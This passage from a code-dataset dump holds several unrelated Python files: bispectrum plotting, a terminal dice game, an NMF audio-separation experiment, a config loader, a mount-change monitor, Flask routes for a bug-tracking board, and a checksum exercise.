dense=False, sigma=0.0, mode=\"square\", fn=\"temp.pdf\"\n):\n \"\"\"\n Plot the bispectrum.\n\n Parameters\n ----------\n bispec : numpy.ndarray\n Bispectrum\n Shape: [f,f']\n freq : None or numpy.ndarray\n Shape: [f]\n dense : bool, optional\n Whether the bispectrum is in a dense or sparse format\n sigma : float, optional\n Bandwidth of smoothing in units of frequency bins.\n mode : {\"square\", \"triangle\"}, optional\n Whether to plot the symmetric square region of the bispectrum (\"square\") or the\n full symmetric triangular region of the bispecturm (\"triangle\").\n fn : str, optional\n Image filename\n \"\"\"\n assert bispec.ndim == 2, f\"len({bispec.shape}) != 2\"\n assert mode in [\"square\", \"triangle\"]\n if dense:\n bispec = lpne.unsqueeze_bispec_array(bispec)\n\n # Add the redundant cells region.\n n1, n2 = bispec.shape\n new_bispec = np.zeros((n1, n1), dtype=bispec.dtype)\n new_bispec[:, :n2] = bispec\n diag_terms = np.diag(np.diag(bispec))\n new_bispec[:n2, :] += bispec.T\n new_bispec[:n2, :n2] -= diag_terms # don't double count the diagonal\n bispec = new_bispec\n\n # Smooth\n if sigma >= 0.0:\n bispec = gaussian_filter(bispec, sigma)\n\n if freq is None:\n extent = None\n if mode == \"triangle\":\n ymin, ymax = 0, len(bispec)\n else:\n ymin, ymax = 0, len(bispec) / 2\n else:\n min, max = freq[0], freq[-1]\n extent = [min, max, min, max]\n if mode == \"triangle\":\n ymin, ymax = freq[0], freq[-1]\n else:\n ymin, ymax = freq[0], freq[len(freq) // 2]\n plt.imshow(bispec.T, origin=\"lower\", extent=extent)\n plt.colorbar()\n plt.ylim(ymin, ymax)\n plt.xlim(ymin, ymax)\n plt.savefig(fn)\n plt.close(\"all\")\n\n\nif __name__ == \"__main__\":\n pass\n\n\n###\n","repo_name":"carlson-lab/lpne","sub_path":"lpne/plotting/plot_bispec.py","file_name":"plot_bispec.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"27802500964","text":"from random import randint\r\nfrom time import sleep\r\n\r\nclass midnight:\r\n\r\n\tdef __init__(self):\r\n\t\tself.one = \"\\n#######\\n# #\\n# * #\\n# #\\n#######\\n\"\r\n\t\tself.two = \"\\n#######\\n# * #\\n# #\\n# * #\\n#######\\n\"\r\n\t\tself.three = \"\\n#######\\n# * #\\n# * #\\n# * #\\n#######\\n\"\r\n\t\tself.four = \"\\n#######\\n# * * #\\n# #\\n# * * #\\n#######\\n\"\r\n\t\tself.five = \"\\n#######\\n# * * #\\n# * #\\n# * * #\\n#######\\n\"\r\n\t\tself.six = \"\\n#######\\n# * * #\\n# * * #\\n# * * #\\n#######\\n\"\r\n\t\tself.dieSet = {1 : 0, 2 : 0, 3 : 0, 4 : 0, 5 : 0, 6 : 0}\r\n\t\tself.playerScore = 0\r\n\t\tself.AIScore = 0\r\n\t\tself.input = 10\r\n\t\tself.gameEnd = False\r\n\t\tself.keptDie = []\r\n\t\tself.pickedBefore = []\r\n\t\tself.dieCheck = 0\r\n\t\tself.dieKeptThisTurn = 0\r\n\r\n\tdef rollDice(self):\r\n\t\tself.setDieSetKeys()\r\n\t\tfor key in self.dieSet_keys:\r\n\t\t\tself.dieSet[key] = randint(1,6)\r\n\r\n\tdef setDieSetKeys(self): \r\n\t\tself.dieSet_keys = self.dieSet.keys()\r\n\t\t\t\r\n\tdef keepDie(self):\r\n\t\twhile self.input != 0:\r\n\t\t\tif self.dieCheck == 6:\r\n\t\t\t\tprint(\"\\nAll die have been kept. Calculating score.\\n\")\r\n\t\t\t\tbreak\r\n\t\t\tself.userInput()\r\n\t\t\tif self.input != 0:\r\n\t\t\t\tself.keptDie.append(self.dieSet[self.input])\r\n\t\t\t\tself.pickedBefore.append(self.input)\r\n\t\t\t\tself.dieCheck += 1\r\n\t\t\t\tself.dieKeptThisTurn +=1\r\n\t\t\t\tdel self.dieSet[self.input]\r\n\t\tself.dieKeptThisTurn = 0\r\n\t\tself.input = 10\r\n\t\t\r\n\tdef userInput(self):\r\n\t\ttry:\r\n\t\t\tself.input = int(input(\"Which die would you like to keep? Enter 1 - 6 (0 to roll again): \"))\r\n\t\t\tself.InputValidation()\r\n\t\texcept:\r\n\t\t\tprint(\"\\nThat is not an acceptable value.\\n\")\r\n\t\t\tself.userInput()\r\n\t\r\n\tdef InputValidation(self):\t\r\n\t\tif self.input in self.pickedBefore:\r\n\t\t\tprint(\"\\nThat Die has been picked before\\n\")\r\n\t\t\tself.userInput()\r\n\t\telif self.input > 6 or self.input < 0:\r\n\t\t\tprint(\"\\nC'mon it's 0 - 6\\n\")\r\n\t\t\tself.userInput()\r\n\t\telif self.input == 0 and self.dieKeptThisTurn == 0:\r\n\t\t\tprint(\"\\nYou need to pick at least one.\\n\")\r\n\t\t\tself.userInput()\r\n\t\t\r\n\tdef AI(self):\r\n\t\tkeyValues = []\r\n\t\tkeeper = 0\r\n\t\tdelKey = ' '\r\n\t\tlenCheck = 0\r\n\t\ttrashCollector = []\r\n\t\tself.dieSet = {1 : 0, 2 : 0, 3 : 0, 4 : 0, 5 : 0, 6 : 0}\r\n\t\tself.input = 10\r\n\t\tself.gameEnd = False\r\n\t\tself.keptDie = []\r\n\t\tprint(\"-\" + \" \"*33 + \"AI's Turn!\"+ \" \"*32 + \"-\\n\")\r\n\t\twhile self.gameEnd == False:\r\n\t\t\tself.rollDice()\r\n\t\t\tself.printDie()\r\n\t\t\tprint(\"-\"*77+\"\\n\")\r\n\t\t\tkeyValues = self.dieSet.keys()\r\n\t\t\tlenCheck = len(self.dieSet)\r\n\t\t\tfor i in keyValues:\r\n\t\t\t\tif self.dieSet[i] == 6:\r\n\t\t\t\t\tself.keptDie.append(self.dieSet[i])\r\n\t\t\t\t\ttrashCollector.append(i)\r\n\t\t\t\telif self.dieSet[i] == 1 and 1 not in self.keptDie:\r\n\t\t\t\t\tself.keptDie.append(self.dieSet[i])\r\n\t\t\t\t\ttrashCollector.append(i)\r\n\t\t\t\telif self.dieSet[i] == 4 and 4 not in self.keptDie:\r\n\t\t\t\t\tself.keptDie.append(self.dieSet[i])\r\n\t\t\t\t\ttrashCollector.append(i)\r\n\t\t\telse:\r\n\t\t\t\tfor i in trashCollector:\r\n\t\t\t\t\tdel self.dieSet[i]\r\n\t\t\t\ttrashCollector = []\r\n\t\t\t\tself.ruleBook()\r\n\t\t\t\tif self.gameEnd == False and lenCheck == len(self.dieSet):\r\n\t\t\t\t\tkeyValues = self.dieSet.keys()\r\n\t\t\t\t\tfor i in keyValues:\r\n\t\t\t\t\t\tif self.dieSet[i] > keeper:\r\n\t\t\t\t\t\t\tkeeper = self.dieSet[i]\r\n\t\t\t\t\t\t\tdelKey = i\r\n\t\t\t\t\tdel self.dieSet[delKey]\r\n\t\t\t\t\tself.keptDie.append(keeper)\r\n\t\t\t\t\tdelKey = ' '\r\n\t\t\t\t\tkeeper = 0\r\n\t\t\tsleep(4)\r\n\t\t\tself.printKept()\r\n\t\t\tself.ruleBook()\r\n\t\tself.aScore()\r\n\r\n\tdef ruleBook(self):\r\n\t\tif len(self.keptDie) == 6: \r\n\t\t\tself.gameEnd = True\r\n\t\telse:\r\n\t\t\tself.gameEnd = False\r\n\t\t\r\n\tdef winner(self):\r\n\t\tif self.playerScore == -1 and self.AIScore == -1:\r\n\t\t\tprint(\"Wash!\\nPlayer Bust!\\nAI Bust!\\n\")\r\n\t\telif self.playerScore == -1 and self.AIScore != -1:\r\n\t\t\tprint(\"AI Wins!\\nPlayer Bust!\\nAI Score: \" + str(self.AIScore)+\"\\n\")\r\n\t\telif self.playerScore != -1 and self.AIScore == -1:\r\n\t\t\tprint(\"Player Wins!\\nPlayer Score: \" + str(self.playerScore)+\"\\nAI Bust!\\n\")\r\n\t\telif self.playerScore != -1 and self.AIScore != -1 and self.playerScore > self.AIScore:\r\n\t\t\tprint(\"Player Wins!\\nPlayer Score: \" + str(self.playerScore)+\"\\nAI Score: \" + str(self.AIScore)+\"\\n\")\r\n\t\telif self.playerScore != -1 and self.AIScore != -1 and self.playerScore < self.AIScore:\r\n\t\t\tprint(\"AI Wins!\\nPlayer Score: \" + str(self.playerScore)+\"\\nAI Score: \" + str(self.AIScore)+\"\\n\")\r\n\t\telif self.playerScore == self.AIScore:\r\n\t\t\tprint(\"Tie!\\nPlayer Score: \" + str(self.playerScore)+\"\\nAI Score: \" + str(self.AIScore)+\"\\n\")\r\n\r\n\tdef pScore(self):\r\n\t\tif 1 not in self.keptDie or 4 not in self.keptDie:\r\n\t\t\tself.playerScore = -1\r\n\t\telse:\r\n\t\t\ti = 0\r\n\t\t\twhile i <= 5:\r\n\t\t\t\tself.playerScore = self.playerScore + self.keptDie[i]\r\n\t\t\t\ti += 1\r\n\t\t\tself.playerScore = self.playerScore - 5\r\n\t\t\t\r\n\tdef aScore(self):\r\n\t\tif 1 not in self.keptDie or 4 not in self.keptDie:\r\n\t\t\tself.AIScore = -1\r\n\t\telse:\r\n\t\t\ti = 0\r\n\t\t\twhile i <= 5:\r\n\t\t\t\tself.AIScore = self.AIScore + self.keptDie[i]\r\n\t\t\t\ti += 1\r\n\t\t\tself.AIScore = self.AIScore - 5\r\n\t\t\r\n\tdef printDie(self):\r\n\t\tprint(\"-\"*77)\r\n\t\tprint(\"-\" + \" \"*33 + \"Roll Cup\" + \" \"*34 + \"-\")\r\n\t\tprint(\"-\"*77+\"\\n\")\r\n\t\tself.setDieSetKeys()\r\n\t\tfor key in self.dieSet_keys:\r\n\t\t\tif key == 1:\r\n\t\t\t\tprint(\"\\nDie 1\")\r\n\t\t\t\tself.AsciiPrint(self.dieSet[key])\r\n\t\t\telif key == 2:\r\n\t\t\t\tprint(\"\\nDie 2\")\r\n\t\t\t\tself.AsciiPrint(self.dieSet[key])\r\n\t\t\telif key == 3:\r\n\t\t\t\tprint(\"\\nDie 3\")\r\n\t\t\t\tself.AsciiPrint(self.dieSet[key])\r\n\t\t\telif key == 4:\r\n\t\t\t\tprint(\"\\nDie 4\")\r\n\t\t\t\tself.AsciiPrint(self.dieSet[key])\r\n\t\t\telif key == 5:\r\n\t\t\t\tprint(\"\\nDie 5\")\r\n\t\t\t\tself.AsciiPrint(self.dieSet[key])\r\n\t\t\telif key == 6:\r\n\t\t\t\tprint(\"\\nDie 6\")\r\n\t\t\t\tself.AsciiPrint(self.dieSet[key])\r\n\t\tprint(\"\")\r\n\t\tprint(\"-\"*77+\"\\n\")\r\n\t\t\r\n\tdef printKept(self):\r\n\t\tprint(\"-\"*77)\r\n\t\tprint(\"-\" + \" \"*33 + \"Kept Die\" + \" \"*34 + \"-\")\r\n\t\tprint(\"-\"*77+\"\\n\")\r\n\t\tfor i in self.keptDie:\r\n\t\t\tself.AsciiPrint(i)\r\n\t\tprint(\"\")\r\n\t\tprint(\"-\"*77+\"\\n\")\r\n\t\tprint(\"-\"*77+\"\\n\")\r\n\r\n\tdef AsciiPrint(self, value):\r\n\t\tif value == 1:\r\n\t\t\tprint(self.one)\r\n\t\telif value == 2:\r\n\t\t\tprint(self.two)\r\n\t\telif value == 3:\r\n\t\t\tprint(self.three)\r\n\t\telif value == 4:\r\n\t\t\tprint(self.four)\r\n\t\telif value == 5:\r\n\t\t\tprint(self.five)\r\n\t\telif value == 6:\r\n\t\t\tprint(self.six)\r\n\r\n\tdef welcome (self):\r\n\t\tprint(\"-\"*77)\r\n\t\tprint(\"-\" + \" \"*33 + \"Midnight\" + \" \"*34 + \"-\")\r\n\t\tprint(\"-\" + \" \"*75 + \"-\")\r\n\t\tprint(\"-\" + \" \"*5 + \" The object of the game is to get a 1 and a 4 and 24. That's it. \" + \" \"*5 + \"-\")\r\n\t\tprint(\"-\" + \" \"*75 + \"-\")\r\n\t\tprint(\"-\"*77+\"\\n\")\r\n\t\tprint(\"-\" + \" \"*30 + \"Players's Turn!\"+ \" \"*30 + \"-\\n\")\r\n\r\n\r\nif __name__ == '__main__':\r\n\tm1 = midnight()\r\n\tm1.welcome()\r\n\twhile m1.gameEnd == False:\r\n\t\tm1.rollDice()\r\n\t\tm1.printDie()\r\n\t\tm1.keepDie()\r\n\t\tm1.printKept()\r\n\t\tm1.ruleBook()\r\n\tm1.pScore()\r\n\tm1.AI()\r\n\tm1.winner()","repo_name":"Laminad/Midnight","sub_path":"Midnight/midnight_v1.py","file_name":"midnight_v1.py","file_ext":"py","file_size_in_byte":6523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30759868142","text":"\"\"\" Experiment 1: SNR variation with the number of components\n\nVaries number of components from number of sources present to 40 and plots the SNRs for three loss funcitons. NMF EUL, NMF LOG\nand Virtanen loss. \n\nRequires argparse, os, librosa, matplotlib, numpy, scipy, scikit learn and the sourcesep.py file, tools.py file and setup.py file\n\nSaves a plot of the SNRs with the algorithms vs number of components at path_expt_dir provided on command line\n\"\"\"\n\n# TODO: (10) Docstring goes here\n\nimport argparse\nimport os\nfrom os import listdir\nfrom os.path import join\nimport sys\n\nimport librosa\nimport librosa.display\nfrom librosa.core import resample\nimport matplotlib\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport scipy\nfrom scipy.io.wavfile import write\nfrom sklearn.decomposition import NMF\n\n# relative imports as the directory structure is\n# blah-blah/source_separation/examples,\n# blah-blah/source_separation/nmf,\n# TODO: (0) find a more scalable way for this\nsys.path.insert(0,\"../../../../source_separation/\")\nfrom sourcesep.sourcesep import *\nfrom tools.basic_functions import *\nimport setup\n\n\n############################################### local variables ##################################################\n\nnumiter = setup.numiter\naudio_spec = setup.audio_spec\naudio_spec_mag = setup.audio_spec_mag\naudio_spec_phase = setup.audio_spec_phase\nsepmags = setup.sepmags\nsepphases = setup.sepphases\nrmax = setup.r\n\nR = np.arange(len(setup.seppaths), rmax, 1)\nY = []\nlabels = [\"NMF EUL\", \"NMF LOG\", \"Virtanen007 loss\"]\n\n############################################### NMF EUL ##################################################\n\nprint(\"Multiple component allocation\")\nprint(\"NMF EUL\")\n# This is average over one mixture, not over multiple mixtures, TODO: (0) remedy that\nsnrs_over_r = []\nfor r in R:\n\tprint(\"r: \" + str(r))\n\tsnrs_for_r = []\n\t# separate the components\n\tB, G, _ = lstfind(audio_spec_mag, r, numiter)\n\tcomponents = reconmag_r_components(B,G)\n\tallocation = virtanen007_cluster_all(sepmags, components)\n\tundetected = 0\n\n\tfor l in range(len(allocation)):\n\t\t# no components detected\n\t\tif np.shape(allocation[l])[0] == 1:\n\t\t\tprint(\"Source \" + str(l) + \" undetected\")\n\t\t\tundetected = undetected + 1\n\t\telse:\n\t\t\trecon_source_mag = 0\n\t\t\t# computing the snrs between the orignial source and the reconstructed source\n\t\t\t# TODO: (0) fix this\n\t\t\tfor comp in np.arange(1,len(allocation[l])):\n\t\t\t\trecon_source_mag = recon_source_mag + allocation[l][comp]\n\t\t\tsnr_lth_source = SNR(allocation[l][0], recon_source_mag)\n\t\t\tsnrs_for_r.append(snr_lth_source)\n\n\tsnrs_for_r = np.array(snrs_for_r)\n\tlog_snrs_for_r = 10*np.log10(snrs_for_r)\n\tavg_snr_r = np.mean(log_snrs_for_r)\n\tsnrs_over_r.append(avg_snr_r)\n\tprint(\"Number of undetected sources: \" + str(undetected))\n\tprint(\"Average SNR over all sources: \" + str(avg_snr_r))\n\nY.append(snrs_over_r)\nprint(\"\\n\")\n\n# plt.figure(figsize = (15,7))\n# plt.plot(R, snrs_over_r)\n# plt.show()\n# plt.close()\n\n\n############################################### NMF LOG ##################################################\n\nprint(\"Multiple component allocation\")\nprint(\"NMF LOG\")\n# This is average over one mixture, not over multiple mixtures, TODO: (0) remedy that\nsnrs_over_r = []\nfor r in R:\n\tprint(\"r: \" + str(r))\n\tsnrs_for_r = []\n\t# separate the components\n\tB, G, _ = divfind(audio_spec_mag, r, numiter)\n\tcomponents = reconmag_r_components(B,G)\n\tallocation = virtanen007_cluster_all(sepmags, components)\n\tundetected = 0\n\n\tfor l in range(len(allocation)):\n\t\t# no components detected\n\t\tif np.shape(allocation[l])[0] == 1:\n\t\t\tprint(\"Source \" + str(l) + \" undetected\")\n\t\t\tundetected = undetected + 1\n\t\telse:\n\t\t\trecon_source_mag = 0\n\t\t\t# computing the snrs between the orignial source and the reconstructed source\n\t\t\t# TODO: (0) fix this\n\t\t\tfor comp in np.arange(1,len(allocation[l])):\n\t\t\t\trecon_source_mag = recon_source_mag + allocation[l][comp]\n\t\t\tsnr_lth_source = SNR(allocation[l][0], recon_source_mag)\n\t\t\tsnrs_for_r.append(snr_lth_source)\n\n\tsnrs_for_r = np.array(snrs_for_r)\n\tlog_snrs_for_r = 10*np.log10(snrs_for_r)\n\tavg_snr_r = np.mean(log_snrs_for_r)\n\tsnrs_over_r.append(avg_snr_r)\n\tprint(\"Number of undetected sources: \" + str(undetected))\n\tprint(\"Average SNR over all sources: \" + str(avg_snr_r))\n\nY.append(snrs_over_r)\nprint(\"\\n\")\n\n############################################### Virtanen loss ##################################################\n\nprint(\"Multiple component allocation\")\nprint(\"Virtanen loss\")\n# This is average over one mixture, not over multiple mixtures, TODO: (0) remedy that\nsnrs_over_r = []\nfor r in R:\n\tprint(\"r: \" + str(r))\n\tsnrs_for_r = []\n\t# separate the components\n\tB, G, _ = virtanen007_find(audio_spec_mag, r, setup.alpha, setup.beta, setup.numiter, toprint= None)\n\tcomponents = reconmag_r_components(B,G)\n\tallocation = virtanen007_cluster_all(sepmags, components)\n\tundetected = 0\n\n\tfor l in range(len(allocation)):\n\t\t# no components detected\n\t\tif np.shape(allocation[l])[0] == 1:\n\t\t\tprint(\"Source \" + str(l) + \" undetected\")\n\t\t\tundetected = undetected + 1\n\t\telse:\n\t\t\trecon_source_mag = 0\n\t\t\t# computing the snrs between the orignial source and the reconstructed source\n\t\t\t# TODO: (0) fix this\n\t\t\tfor comp in np.arange(1,len(allocation[l])):\n\t\t\t\trecon_source_mag = recon_source_mag + allocation[l][comp]\n\t\t\tsnr_lth_source = SNR(allocation[l][0], recon_source_mag)\n\t\t\tsnrs_for_r.append(snr_lth_source)\n\n\tsnrs_for_r = np.array(snrs_for_r)\n\tlog_snrs_for_r = 10*np.log10(snrs_for_r)\n\tavg_snr_r = np.mean(log_snrs_for_r)\n\tsnrs_over_r.append(avg_snr_r)\n\tprint(\"Number of undetected sources: \" + str(undetected))\n\tprint(\"Average SNR over all sources: \" + str(avg_snr_r))\n\nY.append(snrs_over_r)\nprint(\"\\n\")\n\nsetup.savefigure(\"Experiment 1: SNR with nubmer of components\", \"Number of components\", \"Average SNR over all sources\", Y, labels, R, setup.path_expt_dir)\n\n\n# TODO: (0) figure out a way to iterate over multiple sources\n","repo_name":"Milind-Blaze/source_separation","sub_path":"Monoaural_source_separation_using_Non-negative_matrix_factorization/scripts/experiment1/experiment1.py","file_name":"experiment1.py","file_ext":"py","file_size_in_byte":5897,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"38511471755","text":"import yaml\nimport os\n\ndef load_config(dir=None):\n\n #check location, if running locally, use tiny test file for debugging\n if os.uname().nodename == \"MacBook-Pro.local\":\n yaml_name = \"_config_debug.yml\"\n else:\n yaml_name = \"_config.yml\"\n \n if dir:\n yaml_name = os.path.join(dir, yaml_name)\n\n with open(yaml_name, 'r') as f:\n config = yaml.load(f)\n\n if config is None:\n raise IOError(\"No config file found\") \n return(config)","repo_name":"weecology/DeepLidar","sub_path":"DeepForest/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"31"} +{"seq_id":"28431721555","text":"from . import *\n\ndef change_attr_list_to_dict(attrs):\n\tret = {}\n\tfor attr in attrs:\n\t\tlf = attr.find(\"=\")\n\t\tval = attr[lf+1:] if lf != -1 else None\n\t\tname = attr[0:lf] if lf != -1 else attr\n\t\tret[name] = val\n\treturn ret\n\nclass MountpointsCommand(Command):\n\tname = \"list_mount\"\n\tshell = False\n\tcommand = \"/bin/mount\"\n\tdesc = \"analyze changes in file system mounts\"\n\n\tdef parse(output):\n\t\tlines = output.splitlines()\n\t\tif len(lines) == 0:\n\t\t\treturn {}\n\t\tret = {}\n\t\tfor line in lines:\n\t\t\tlf = line.find(\"on\")\n\t\t\tdevice = line[:lf].strip()\n\t\t\tline = line[lf+3:]\n\t\t\tlf = line.find(\"type\")\n\t\t\tpoint = line[:lf].strip()\n\t\t\tline = line[lf+5:]\n\t\t\tlf = line.find(\"(\")\n\t\t\tmtype = line[:lf].strip()\n\t\t\t# strip off final ')'\n\t\t\tattrs = [a.strip() for a in line[lf+1:-1].split(\",\")]\n\t\t\tret[point] = (device, mtype, attrs)\n\t\treturn ret\n\n\tdef compare(prev, cur):\n\t\tanomalies = []\n\t\tmounts = merge_keys_to_list(prev, cur)\n\t\tfor mount in mounts:\n\t\t\tif mount not in prev:\n\t\t\t\tc = cur[mount]\n\t\t\t\tanomalies.append(C(\"added mount %s of type %s for device %s (%s)\" % (mount, c[1], c[0], \",\".join(c[2]))))\n\t\t\t\tcontinue\n\t\t\telif mount not in cur:\n\t\t\t\tp = prev[mount]\n\t\t\t\tanomalies.append(C(\"removed mount %s of type %s for device %s (%s)\" % (mount, p[1], p[0], \",\".join(p[2]))))\n\t\t\t\tcontinue\n\t\t\tp, c = prev[mount], cur[mount]\n\t\t\tif p[0] != c[0]:\n\t\t\t\tanomalies.append(C(\"mount %s changed device from %s to %s\" % (mount, p[0], c[0])))\n\t\t\tif p[1] != c[1]:\n\t\t\t\tanomalies.append(C(\"mount %s changed type from %s to %s\" % (mount, p[1], c[1])))\n\t\t\tpattr, cattr = p[2], c[2]\n\t\t\tpattr = change_attr_list_to_dict(pattr)\n\t\t\tcattr = change_attr_list_to_dict(cattr)\n\t\t\tattrs = merge_keys_to_list(pattr, cattr)\n\t\t\tfor attr in attrs:\n\t\t\t\tif attr not in pattr:\n\t\t\t\t\tsval = \" with value %s\" % cattr[attr] if cattr[attr] else \"\"\n\t\t\t\t\tanomalies.append(C(\"attribute %s got added to mount %s%s\" % (attr, mount, sval)))\n\t\t\t\t\tcontinue\n\t\t\t\telif attr not in cattr:\n\t\t\t\t\tsval = \" with value %s\" % pattr[attr] if pattr[attr] else \"\"\n\t\t\t\t\tanomalies.append(C(\"attribute %s was removed from mount %s%s\" % (attr, mount, sval)))\n\t\t\t\t\tcontinue\n\t\t\t\tpa, ca = pattr[attr], cattr[attr]\n\t\t\t\tif pa != ca:\n\t\t\t\t\tpa = pa if pa else \"\"\n\t\t\t\t\tca = ca if ca else \"\"\n\t\t\t\t\tanomalies.append(C(\"attribute %s for mount %s changed from %s to %s\" % (attr, mount, pa, ca)))\n\t\t\tanomalies.append(D(\"mount %s of type %s for device %s (%s)\" % (mount, c[1], c[0], \",\".join(c[2]))))\n\t\treturn anomalies\n","repo_name":"anvilsecure/dawgmon","sub_path":"dawgmon/commands/mount.py","file_name":"mount.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"31"} +{"seq_id":"2475884660","text":"from flask import Blueprint, render_template, request, flash, redirect, url_for, jsonify\nfrom flask_login import login_required, current_user\nfrom .models import Project, Ticket, Comment\nfrom . import db\n\nviews = Blueprint('views', __name__)\n\n# @ is a decorator that usese the below finction when it is hit\n@views.route('/', methods=['GET'])\n@login_required\ndef get_out():\n return redirect(url_for('views.projects'))\n\n@views.route('/projects', methods=['GET', 'POST'])\n@login_required\ndef projects():\n if request.method == 'POST':\n project_name = request.form.get('project_name')\n project_desc = request.form.get('project_desc')\n if len(project_name) < 1:\n flash('Project name must be greater than 1 character', category='error')\n elif len(project_name) > 50:\n flash('Project name must be less than 50 characters', category='error')\n elif len(project_desc) > 150:\n flash('Project description must be less than 150 characters', category='error')\n elif len(project_desc) == 0:\n flash('Project description cannot be blank.', category='error')\n elif len(project_name) == 0:\n flash('Project name cannot be blank.', category='error')\n else:\n flash('Project created.', category='success')\n new_project = Project(name=project_name, description=project_desc, user_id=current_user.id)\n db.session.add(new_project)\n db.session.commit()\n \n return render_template(\"projects.html\", user=current_user)\n\n@views.route('/projects/', methods=['GET', 'POST'])\ndef view_project(project_id):\n project = Project.query.get(project_id)\n if request.method == 'POST':\n ticket_name = request.form.get('ticket_name')\n ticket_desc = request.form.get('ticket_desc')\n ticket_priority = request.form.get('priority')\n flash('Ticket created.', category='success')\n new_ticket = Ticket(name=ticket_name, description=ticket_desc, priority=ticket_priority, status=\"New\", project_id=project.id)\n db.session.add(new_ticket)\n db.session.commit()\n\n return render_template(\"new_projects_view.html\", user=current_user, current_project=project)\n\n@views.route('/delete-project/', methods=['GET', 'POST'])\ndef delete_project(project_id):\n project = Project.query.get(project_id)\n if project:\n if project.user_id == current_user.id:\n flash('Project deleted.', category='success')\n # delete the project's tickets before deleting the project itself\n for ticket in project.tickets:\n print(\"deleting ticket number \" + str(ticket.id))\n db.session.delete(ticket)\n db.session.delete(project)\n db.session.commit()\n else:\n flash('You do not have permissions to delete that project', category='error')\n else:\n flash('That project does not exist.', category='error')\n\n return redirect(url_for('views.projects'))\n\n# ticket related routes\n@views.route('/delete-ticket/', methods=['GET'])\ndef delete_ticket(ticket_id):\n ticket = Ticket.query.get(ticket_id)\n if ticket:\n # grab project id for redirect before deleting\n project_id = ticket.project_id\n if ticket.comments:\n for comment in ticket.comments:\n db.session.delete(comment)\n flash('Ticket deleted', category='success')\n db.session.delete(ticket)\n db.session.commit()\n else:\n flash('Ticket does not exist', category='error')\n\n return redirect(url_for('views.view_project', project_id=project_id))\n\n@views.route('/move-ticket//', methods=['GET'])\ndef move_ticket(ticket_id, destination):\n ticket = Ticket.query.get(ticket_id)\n if ticket:\n is_changed = True\n # update the ticket status\n if destination == \"New\":\n ticket.status = \"New\"\n elif destination == \"Progress\":\n ticket.status = \"Progress\"\n elif destination == \"Review\":\n ticket.status = \"Review\"\n elif destination == \"QA\":\n ticket.status = \"QA\"\n elif destination == \"Complete\":\n ticket.status = \"Complete\"\n else:\n is_changed = False\n flash('Ticket status does not exist', category='error') \n # update db if ticket change happened\n if is_changed == True:\n db.session.commit()\n else:\n flash('Ticket does not exist', category='error')\n\n return redirect(url_for('views.view_project', project_id=ticket.project_id))\n\n@views.route('/view-ticket/', methods=['GET', 'POST'])\ndef view_ticket(ticket_id):\n ticket = Ticket.query.get(ticket_id)\n if request.method == 'POST' and 'ticket_name' in request.form:\n new_ticket_name = request.form.get('ticket_name')\n new_ticket_desc = request.form.get('ticket_desc')\n new_ticket_priority = request.form.get('priority')\n ticket.name = new_ticket_name\n ticket.description = new_ticket_desc\n ticket.priority = new_ticket_priority\n db.session.commit()\n elif request.method == 'POST' and 'new_comment' in request.form:\n comment = request.form.get('new_comment')\n print(comment)\n new_comment = Comment(comment_text=comment, creator=current_user.f_name, ticket_id=ticket.id)\n db.session.add(new_comment)\n db.session.commit()\n\n return render_template(\"ticket_view.html\", user=current_user, current_ticket=ticket)\n\n","repo_name":"Amorphizm/Bug-Bounty-Board","sub_path":"web_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10903019906","text":"# return the complement of any binary representation\r\ndef complement_of_msg(msg):\r\n complement=\"\"\r\n for i in range(0,len(msg)):\r\n if(msg[i]=='0'):\r\n complement+=\"1\"\r\n else:\r\n complement+=\"0\"\r\n return complement\r\n\r\n# calculate the sum of binary arguments\r\ndef SumOfBinary(*args):\r\n sum=int(args[0],2)\r\n for i in range(1,len(args)):\r\n msg=args[i]\r\n sum=sum+int(msg,2)\r\n sum=bin(sum)[2::]\r\n print(\"Sum: \",sum)\r\n return sum\r\n\r\n# encode the data to be sent\r\ndef encodeData(Sum):\r\n CheckSum=complement_of_msg(Sum)\r\n print(\"Checksum: \",CheckSum)\r\n return CheckSum\r\n\r\n# decode the data received\r\ndef decodeData(Sum):\r\n received_Data=Sum.split(' ')\r\n args=(i for i in received_Data)\r\n decode_data=SumOfBinary(*args)\r\n flag=True\r\n print(\"Complement: \",complement_of_msg(decode_data))\r\n for i in range(len(decode_data)):\r\n if(decode_data[i]==\"0\"):\r\n flag=False\r\n break\r\n if flag==True:\r\n print(\"The data received is correct!!!\")\r\n else:\r\n print(\"The data received is in-correct!!!\")\r\n return decode_data\r\n\r\n# main function\r\nn=int(input(\"Enter the number of parts of message: \"))\r\narr=[]\r\nfor i in range(n):\r\n data=input(f\"Enter the {i+1}th data: \")\r\n arr.append(data)\r\n\r\n# creating a generator\r\nargs=(i for i in arr)\r\nSenderData=encodeData(SumOfBinary(*args))\r\ntransmit_data=\"\"\r\nfor string in arr:\r\n transmit_data=transmit_data+string+\" \"\r\ntransmit_data+=SenderData\r\n\r\nprint(\"Data to be Transmitted: \",transmit_data)\r\nreceived_Data=input(\"Enter the Received Data: \")\r\nreceiverData=decodeData(received_Data)\r\n\r\n'''\r\n----------OUTPUT----------\r\nEnter the number of parts of message: 4\r\nEnter the 1th data: 10010\r\nEnter the 2th data: 00111\r\nEnter the 3th data: 10010\r\nEnter the 4th data: 01110\r\nSum: 111001\r\nChecksum: 000110\r\nData to be Transmitted: 10010 00111 10010 01110 000110\r\nEnter the Received Data: 10010 00111 10010 1110 110\r\nSum: 111111\r\nComplement: 000000\r\nThe data received is correct!!!\r\n>>> \r\n'''\r\n\r\n'''\r\nTook help from:\r\n1. https://www.geeksforgeeks.org/error-detection-code-checksum/\r\n2. https://stackoverflow.com/questions/54508025/passing-multiple-arguments-in-python-on-a-loop\r\nThanks for the help 